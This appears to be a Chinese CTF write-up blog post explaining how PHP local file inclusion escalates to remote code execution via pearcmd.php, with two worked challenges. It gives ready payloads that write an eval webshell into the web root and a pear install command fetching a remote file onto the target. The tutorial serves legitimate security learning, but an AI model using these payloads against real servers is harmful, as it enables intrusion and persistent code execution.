pearcmdphp文件包含rce

参考文章:利用pearcmd.php本地文件包含姿势学习 | 休比大王

在 Web 环境下,如果开启了 register_argc_argv=on,HTTP 数据包中的 Query-String(查询字符串)就会被作为 $_SERVER['argv'] 的值

可以用它来包含 PHP 的命令行工具文件(如 pearcmd.php),由于 pearcmd.php 内部会读取 $_SERVER['argv'] 来获取命令行参数

pearcmd.php默认路径:/usr/local/lib/php/pearcmd.php 参数分隔符:使用+作为分隔符,而非常规的&或=, 通过特定命令(如config-create, install, download)结合LFI漏洞,可实现远程代码执行(RCE)

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大

原理:

当开启了register_argc_argv=on时

它会让 URL 中 ? 后面所有内容 都被当成命令行参数(argv)传给 PHP 脚本

image-20250911111759111

image-20250911111811786

image-20250911111828888

看上面的三种情况 其实只要去了解到&不能进行分割参数而+可以分割参数就可以了

利用姿势:

如果系统安装了 PEAR 扩展,就有 pearcmd.php 这个文件(CLI 命令入口脚本)。

如果 PHP 配置中开启了 register_argc_argv = On,那么 URL ? 后面的内容会被放入 $_SERVER['argv'](命令行参数数组),而不仅仅是 GET 参数。

如果应用存在本地文件包含(LFI)漏洞,并且能包含 .php 后缀的文件,就可以通过包含 pearcmd.php,再构造一个参数来执行 pear 的命令。

pear 中有 config-create 命令,该命令会把内容写入文件。通过这个命令,可以写入一句话木马(webshell),然后再通过 LFI 或者直接访问来执行

pear命令参数

重点来看config-creater、install

一、config-create

config-create: must have 2 parameters, root path and filename to save as

第一个参数 <root path>:指定一个根目录,PEAR 会以此为基础来生成一份配置文件,写入一些路径配置(如 php_dir、doc_dir 等)。

第二个参数 <filename>:生成的配置文件要保存到哪里。

必须传入两个参数,第一个为绝对路径,第二个为创建文件的文件名

注意传入的内容是通过+来作为分隔符的。即空格经过url编码后+,我们尝试一段命令

pear config-create /<?=@eval($_POST[1]);?> /tmp/test.php

这个会在/tmp/test.php生成一个一句话 注意前面要引入绝对路径

写webshell:

服务端为include($_GET['file'])

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php

注意: 不要在url中直接上传因为<>在url传输中会出现解码错误,用burpsuite传输修改

二、install

利用2(目标出网)

我这里利用的是github上传文件 然后通过pear下载到靶机 再对文件进行包含

比如我们这里写一个phpinfo

image-20250911160105014

image-20250911160121707

通过github个人仓库上传

raw.githubusercontent.com/xiubi1125/xiubi1125.github.io/refs/heads/main/info.txt

这是我的上传链接

?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+https://raw.githubusercontent.com/xiubi1125/xiubi1125.github.io/refs/heads/main/info.txt

例题一:

 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
    include($_GET['file'].".php");
}else{
    die("Hacker!");
} 

【1】本地文件包含 LFI

include($_GET[‘file’].”.php”);`

用户传的 file 参数会拼接一个 .php 再被包含,不能直接包含 /etc/passwd 这种非 PHP 文件

【2】黑名单filter,rot13,base64不能用

payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php 

再去访问即可

例题二:2026H&NCTF include

image-20260607150754360

点击预览抓包:

image-20260607150832199

尝试包含/etc/passwd,显示必须以.php结尾

image-20260607151040679

尝试包含/usr/local/lib/php/pearcmd.php,返回200,说明存在这个文件

image-20260607150923979

尝试利用pearcmd.php文件包含漏洞

【1】猜测register_argc_argv=on, 则URL 中 ? 后面所有内容 都被当成命令行参数(argv)传给 pearcmd 脚本

【2】通过包含 pearcmd.php,再构造get传参来执行 pear 的命令

image-20260607151204089

POST /?+config-create+/<?=eval($_POST[1])?>+/var/www/html/sb.php HTTP/1.1

post体里面file传参文件包含pearcmd.php文件:
file=/usr/local/lib/php/pearcmd.php

访问马,执行shell

image-20260607151540501

posted @ 2026-06-18 13:00  Doll_Marker  阅读(19)  评论(0)    收藏  举报